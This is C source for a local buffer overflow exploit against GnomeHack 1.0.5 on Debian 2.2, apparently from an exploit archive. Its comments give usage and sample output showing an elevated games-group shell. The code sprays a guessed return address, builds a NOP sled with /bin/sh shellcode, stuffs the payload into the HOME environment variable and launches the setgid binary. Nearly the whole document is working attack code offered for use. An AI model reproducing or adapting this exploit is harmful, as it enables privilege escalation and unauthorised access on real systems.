GnomeHack 1.0.5 - Local Buffer Overflow

/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org].
   this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
   on debian/2.2, which has gnomehack. (this can also be applied to nethack)

   syntax: ./deb_gnomehack [offset] [alignment].

   example:
   -------------------------------------------------
   # ./deb_gnomehack 500 0
   [ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org]. ]
   [ return address: 0xbffff978, offset: 500, align: 0. ]
   sh-2.03$ id
   uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
   sh-2.03$
   -------------------------------------------------

   note: overflow exists in $NETHACKOPTIONS as well, like nethack.
*/
#define PATH "/usr/lib/games/gnomehack/gnomehack"       // path to gnomehack.
#define DEFAULT_OFFSET 500                              // default offset.
#define DEFAULT_ALIGN 0                                 // default alignment.
static char exec[]=
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
 "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[300];
 int i,offset,align;
 long ret;
 printf("[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo."
 "org]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 if(argc>2){
  if(atoi(argv[2])>3||atoi(argv[2])<0){
   printf("*** ignored argument alignment value: %s. (use 0-3)\n",argv[2]);
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[2]);}
 }
 else{align=DEFAULT_ALIGN;}
 ret=(esp()-offset);
 printf("[ return address: 0x%lx, offset: %d, align: %d. ]\n",ret,offset,align);
 for(i=align;i<300;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(250-strlen(exec));i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 setenv("HOME",bof,1);
 if(execlp(PATH,"gnomehack",0)){
  printf("*** execution of %s failed. (check the path)\n",PATH);
  exit(-1);
 }
}

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